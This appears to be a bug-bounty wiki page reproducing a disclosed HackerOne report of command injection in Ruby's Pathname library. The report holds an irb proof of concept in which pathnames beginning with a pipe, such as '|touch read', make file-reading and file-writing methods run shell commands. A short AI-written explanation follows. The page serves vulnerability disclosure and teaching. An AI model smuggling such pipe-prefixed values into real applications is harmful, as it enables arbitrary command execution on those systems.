Skip to content
RCE Disclosed report Intermediate

Command injection in Pathname

Pathname methods that open files pass the path to IO, which treats a leading pipe as a command. A pathname beginning with a pipe may cause a command to run unintentionally.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 17 days
  • Fixed in 4 months
  • Paid in 5 months
  • Disclosed after 4 months

The command may be executed when the value passed to Pathname is the first character of "|". This is the same problem as https://bugs.ruby-lang.org/issues/14245, but here it is executed without warning.

Ruby
$ ruby -v
ruby 2.5.3p105 (2018-10-18 revision 65156) [x86_64-darwin16]

$ irb
irb(main):001:0> `ls`
=> ""

irb(main):002:0> require 'pathname'
=> true
irb(main):003:0> Pathname("|touch binread").binread
=> ""
irb(main):004:0> Pathname("|touch binwrite").binwrite("")
=> 0
irb(main):005:0> Pathname("|touch each_line").each_line {|v| p v}
=> nil
irb(main):006:0> Pathname("|touch read").read
=> ""
irb(main):007:0> Pathname("|touch readlines").readlines
=> []
irb(main):008:0> Pathname("|touch write").write("")
=> 0

irb(main):009:0> `ls`
=> "binread\nbinwrite\neach_line\nread\nreadlines\nwrite\n"

Impact

The command may be executed unintentionally.

However, this is the same behavior as IO and can be inferred from the document. https://ruby-doc.org/stdlib-2.5.0/libdoc/pathname/rdoc/Pathname.html#class-Pathname-label-IO

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Pathname library delegates file opening to IO, which interprets a leading pipe as a command to execute, without sanitising the path.

Impact

An attacker who can influence a pathname passed to these methods could execute arbitrary commands, though the text notes this matches documented IO behaviour.

What the attacker needed

Attacker controls a pathname string; victim application uses Pathname file methods

How it was found

  1. Start an interactive Ruby session and require the pathname library.
  2. Call a Pathname method such as binread on a string that begins with a pipe followed by a command.
  3. Observe that the command runs and creates files in the current directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

In Ruby, a pathname is normally just a file location. But if the path starts with a pipe symbol, Ruby's file-opening code treats the rest as a shell command and runs it. So a program that builds a pathname from untrusted input could accidentally execute commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from Ruby

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.